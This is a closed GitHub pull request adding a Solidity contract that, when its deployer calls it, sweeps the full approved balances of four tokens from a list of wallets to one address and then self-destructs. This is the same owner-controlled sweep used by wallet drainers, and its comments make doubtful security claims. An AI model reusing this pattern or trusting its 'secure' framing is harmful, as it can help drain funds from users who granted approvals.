Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update & rename contract for secure asset transfer - thirdweb deploy #6371

Closed
wants to merge 1 commit into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
* @title AssetMigration
* @dev Securely transfers assets from multiple old wallets to a new wallet
* and self-destructs after execution for security.
*/
contract AssetMigration is ReentrancyGuard {
address[] private oldWallets;
address private immutable newWallet;
address private immutable owner;

IERC20 public immutable ethToken;
IERC20 public immutable bnbToken;
IERC20 public immutable usdtToken;
IERC20 public immutable usdcToken;

event AssetsTransferred(address indexed from, address indexed to, uint256 amount, address token);
event ContractDeactivated(address indexed executor);

modifier onlyOwner() {
require(msg.sender == owner, "Not authorized");
_;
}

constructor(
address[] memory _oldWallets,
address _newWallet,
address _ethToken,
address _bnbToken,
address _usdtToken,
address _usdcToken
) {
require(_newWallet != address(0), "Invalid new wallet address");

oldWallets = _oldWallets;
newWallet = _newWallet;
owner = msg.sender;

ethToken = IERC20(_ethToken);
bnbToken = IERC20(_bnbToken);
usdtToken = IERC20(_usdtToken);
usdcToken = IERC20(_usdcToken);
}

function migrateAssets() external onlyOwner nonReentrant {
address[] memory wallets = oldWallets; // Use memory for gas efficiency

for (uint256 i = 0; i < wallets.length; i++) {
address oldWallet = wallets[i];

_transferAssets(oldWallet, ethToken);
_transferAssets(oldWallet, bnbToken);
_transferAssets(oldWallet, usdtToken);
_transferAssets(oldWallet, usdcToken);
}

_deactivateContract();
}

function _transferAssets(address from, IERC20 token) internal {
uint256 balance = token.balanceOf(from);

if (balance > 0) {
require(token.transferFrom(from, newWallet, balance), "Transfer failed");

emit AssetsTransferred(from, newWallet, balance, address(token));
}
}

function _deactivateContract() internal {
emit ContractDeactivated(msg.sender);
selfdestruct(payable(owner));
}

receive() external payable {}

fallback() external payable {}
}

This file was deleted.